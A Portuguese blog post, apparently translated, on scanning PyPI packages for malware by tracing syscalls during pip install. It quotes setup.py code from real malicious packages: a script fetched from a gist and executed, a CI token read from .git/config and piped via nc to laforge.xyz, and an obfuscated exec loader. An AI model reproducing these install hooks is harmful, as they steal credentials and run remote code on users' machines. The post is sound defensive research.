Verifique milhares de pacotes PyPI em busca de malware

Cerca de um ano atrás, a Python Software Foundation abriu um Request for Information (RFI) para discutir como os pacotes maliciosos carregados para o PyPI podem ser detectados. Obviamente, este é um problema real que afeta quase todos os gerenciadores de pacotes: sequestro de nomes de pacotes abandonados por desenvolvedores , exploração de erros de digitação em nomes de bibliotecas populares ou sequestro de pacotes por credenciais de empacotamento .



A realidade é que gerenciadores de pacotes como o PyPI são uma infraestrutura crítica usada por quase todas as empresas. Eu poderia escrever muito sobre este tópico, mas esta versão do xkcd será suficiente por agora.











Esta área do conhecimento me interessa, por isso respondi com minhas reflexões sobre como podemos abordar a solução do problema. Vale a pena ler todo o post, mas um pensamento não me deixou em paz: o que acontece logo após a instalação do pacote.



Ações como configurar conexões de rede ou executar comandos durante um processo pip install



devem sempre ser tomadas com cautela, pois não fornecem ao desenvolvedor quase nenhuma maneira de examinar o código antes que algo ruim aconteça.



Eu queria me aprofundar neste assunto, então neste post vou explicar como instalei e analisei cada pacote PyPI em busca de atividade maliciosa.



Como encontrar bibliotecas maliciosas



Os autores geralmente adicionam código a setup.py



seu arquivo de pacote para executar comandos arbitrários durante a instalação . Exemplos podem ser vistos neste repositório .



Em um alto nível, para encontrar dependências potencialmente prejudiciais, podemos fazer duas coisas: verificar se há coisas ruins no código (análise estática) ou arriscar e apenas instalá-las para ver o que acontece (análise dinâmica).



Embora a análise estática seja muito interessante (graças a grep



eu encontrei pacotes maliciosos até no npm ), neste post irei cobrir a análise dinâmica. No final, acho mais confiável, porque estamos vendo o que realmente está acontecendo , e não apenas procurando coisas desagradáveis ​​que podem acontecer.



Então, o que estamos procurando?



Como as ações importantes são realizadas



Em geral, quando algo importante acontece, o processo é executado pelo kernel. Programas regulares (por exemplo pip



) que desejam fazer coisas importantes por meio do kernel usam syscalls . Abrir arquivos, estabelecer conexões de rede, executar comandos - tudo isso é feito por meio de chamadas de sistema!



Você pode aprender mais sobre isso nos quadrinhos de Julia Evans :





Isso significa que se pudermos observar as syscalls durante a instalação do pacote Python, podemos entender se algo suspeito está acontecendo. A vantagem dessa abordagem é que ela não depende do grau de obscurecimento do código - vemos exatamente o que está realmente acontecendo.



É importante notar que não tive a ideia de assistir a syscalls. Pessoas como Adam Baldwin falam sobre isso desde 2017 . Além disso, há um ótimo artigo publicado pelo Georgia Institute of Technology que, entre outras coisas, adota a mesma abordagem. Com toda a franqueza, neste post vou apenas tentar reproduzir o trabalho deles.



Então, sabemos que queremos rastrear syscalls, mas como exatamente fazemos isso?



Rastreando Syscalls com Sysdig



Existem muitas ferramentas disponíveis para monitorar syscalls. Para meu projeto, usei o sysdig, pois ele fornece saída estruturada e funções de filtragem convenientes.



Para fazer isso funcionar, quando eu inicio o contêiner Docker que instala o pacote, também iniciei o processo sysdig, que monitora apenas eventos desse contêiner. Também filtrei as operações de leitura / gravação da rede de / para pypi.org



ou files.pythonhosted.com



, porque não queria sobrecarregar os logs com tráfego relacionado a downloads de pacotes.



Tendo encontrado uma maneira de interceptar syscalls, tive que resolver outro problema: obter uma lista de todos os pacotes PyPI.



Obtendo pacotes Python



Felizmente para nós, o PyPI tem uma API chamada "API simples", que também pode ser considerada como "uma página HTML muito grande com um link para cada pacote" porque é isso mesmo. Esta é uma página simples e organizada escrita em HTML de alta qualidade.



Você pode pegar esta página e analisar todos os links com a ajuda pup



, tendo recebido cerca de 268 mil pacotes:



❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

❯ wc -l pypi_full.txt 
  268038 pypi_full.txt
      
      





Para esta experiência, estarei interessado apenas na versão mais recente de cada pacote. Há uma chance de que existam versões maliciosas de pacotes enterrados em versões mais antigas, mas as contas da AWS não serão pagas.



Como resultado, acabei com algo como este pipeline de processamento:









Resumindo, enviamos o nome de cada pacote para um conjunto de instâncias EC2 (no futuro, gostaria de usar algo como Fargate, mas não conheço Fargate, então ...) que obtém os metadados do pacote do PyPI e executa sysdig. bem como um conjunto de contêineres para instalar o pacote pip install



, enquanto coleta informações sobre syscalls e tráfego de rede. Em seguida, todos os dados são transferidos para o S3 para eu lidar com eles.



É assim que o processo se parece:









resultados



Após a conclusão do processo, obtive cerca de um terabyte de dados localizado no balde S3 e cobrindo cerca de 245 mil pacotes. Alguns pacotes não tinham versões publicadas, outros apresentavam vários erros de processamento, mas no geral este parece ser um ótimo exemplo para trabalhar.



Agora, a parte divertida: um monte de análises grep .



Combinei os metadados e a saída, resultando em um conjunto de arquivos JSON parecido com este:



{
    "metadata": {},
    "output": {
        "dns": [],         // Any DNS requests made
        "files": [],       // All file access operations
        "connections": [], // TCP connections established
        "commands": [],    // Any commands executed
    }
}
      
      





Então, escrevi um conjunto de scripts para começar a coletar dados, tentando descobrir o que é inofensivo e o que é prejudicial. Vamos explorar alguns dos resultados.



Pedidos de rede



Existem muitos motivos pelos quais um pacote pode precisar criar uma conexão de rede durante o processo de instalação. Talvez ele precise baixar binários ou outros recursos, pode ser algum tipo de análise ou ele pode estar tentando extrair dados ou informações contábeis do sistema.



Como resultado, descobriu-se que 460 pacotes criam conexões de rede para 109 hosts exclusivos. Conforme declarado no artigo mencionado acima, alguns deles são causados ​​pelo fato de que os pacotes têm uma dependência comum que cria uma conexão de rede. Você pode filtrá-los combinando dependências, mas ainda não fiz isso.



Uma análise detalhada das pesquisas DNS observadas durante a instalação está aqui .



Execução de comando



Como ocorre com as conexões de rede, os pacotes podem ter motivos inofensivos para executar comandos do sistema durante a instalação. Isso pode ser feito para compilar binários nativos, configurar o ambiente desejado e assim por diante.



Ao examinar nosso exemplo, descobriu-se que 60.725 pacotes estão executando comandos durante a instalação. E, como acontece com as conexões de rede, lembre-se de que muitas delas são o resultado da dependência do pacote que executa os comandos.



Pacotes interessantes



Depois de examinar os resultados, a maioria das conexões e comandos de rede parecia inofensiva como esperado. Mas existem vários casos de comportamento estranho que eu queria apontar para demonstrar a utilidade desse tipo de análise.



i-am-malicious





O pacote nomeado i-am-malicious



parece ser um verificador de conceito de um pacote malicioso. Aqui estão alguns detalhes interessantes que nos dão uma ideia de que vale a pena investigar este pacote (se seu nome não bastasse para nós):



{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}
      
      





Imediatamente começamos a entender o que está acontecendo aqui. Vemos a conexão sendo feita gist.github.com



, executando o arquivo Python e criando um arquivo chamado /tmp/malicious-was-here



. Claro, isso acontece precisamente em setup.py



:



from urllib.request import urlopen

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
    fp.write(handler.read())

import subprocess

subprocess.call(["python", "/tmp/malicious.py"])
      
      





O arquivo malicious.py



simplesmente adiciona /tmp/malicious-was-here



"Estive aqui" à mensagem, sugerindo que esta é realmente uma prova de conceito.



maliciouspackage





Outro pacote de malware com estilo próprio, com nome engenhoso maliciouspackage



, é um pouco mais malicioso. Aqui está sua saída:



{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}
      
      





Como no primeiro caso, isso nos dá uma boa ideia do que está acontecendo. Neste exemplo, o pacote extrai o token do arquivo .git/config



e o carrega no laforge.xyz



. Olhando para setup.py



, podemos ver exatamente o que está acontecendo:



...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
      
      





easyIoCtl





O pacote é curioso easyIoCtl



. Ele afirma fornecer "abstrações de E / S enfadonha", mas vemos os seguintes comandos sendo executados:



[
  "sh -c touch /tmp/testing123",
  "touch /tmp/testing123"
]
      
      





Suspeito, mas não prejudicial. No entanto, este é um exemplo perfeito do poder do rastreamento de syscalls. Aqui está o código relevante no setup.py



projeto:



class MyInstall():
    def run(self):
        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
        control_flow_guard_init = ""
        for controL_flow_code in control_flow_guard_mappers:
            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
        exec(control_flow_guard_init)
      
      





Com esse nível de ofuscação, é difícil entender o que está acontecendo. A análise estática tradicional poderia rastrear a chamada exec



, mas isso é tudo.



Para ver o que está acontecendo, podemos substituir por exec



para print



obter isto:



import os;os.system('touch /tmp/testing123')
      
      





É esse comando que rastreamos e ele demonstra que mesmo ofuscar o código não afeta os resultados, porque estamos rastreando no nível das chamadas do sistema.



O que acontece quando encontramos um pacote malicioso?



Vale a pena descrever brevemente o que podemos fazer quando encontramos um pacote malicioso. A primeira etapa é notificar os voluntários do PyPI para que eles possam remover o pacote. Você pode fazer isso escrevendo para security@python.org.



Você pode então ver quantas vezes este pacote foi baixado usando o conjunto de dados público PyPI no BigQuery.



Aqui está um exemplo de consulta para descobrir quantas vezes maliciouspackage



foi baixado nos últimos 30 dias:



#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
    AND CURRENT_DATE()
      
      





A execução desta consulta revela que ela foi baixada mais de 400 vezes:









Se movendo



Até agora, vimos apenas o PyPI em geral. Olhando para os dados, não consegui encontrar pacotes que executam ações maliciosas significativas e não têm a palavra "malicioso" no nome. E isso é bom! Mas sempre existe a possibilidade de eu ter perdido algo, ou pode acontecer no futuro. Se você está curioso sobre os dados, pode encontrá-los aqui .



Posteriormente, escreverei uma função lambda para obter as alterações mais recentes do pacote usando o feed RSS do PyPI. Cada pacote atualizado passará pelo mesmo processamento e enviará uma notificação se for detectada atividade suspeita.



Eu ainda não gosto que seja possível executar comandos arbitrários no sistema do usuário simplesmente instalando o pacote viapip install



... Eu entendo que a maioria dos casos de uso é inofensiva, mas abre oportunidades de ameaças que precisam ser consideradas. Esperançosamente, ao fortalecer nosso monitoramento de vários gerenciadores de pacotes, podemos detectar sinais de atividade maliciosa antes que eles tenham um impacto sério.



E essa situação não é exclusiva do PyPI sozinho. Mais tarde, espero fazer a mesma análise para RubyGems, npm e outros gerenciadores que os pesquisadores mencionados acima. Todo o código usado para executar o experimento pode ser encontrado aqui . Como sempre, se você tiver alguma dúvida, pergunte !






Publicidade



VDSina oferece servidores virtuais em Linux e Windows - escolha um dos SO pré-instalados ou instale a partir da sua imagem.






All Articles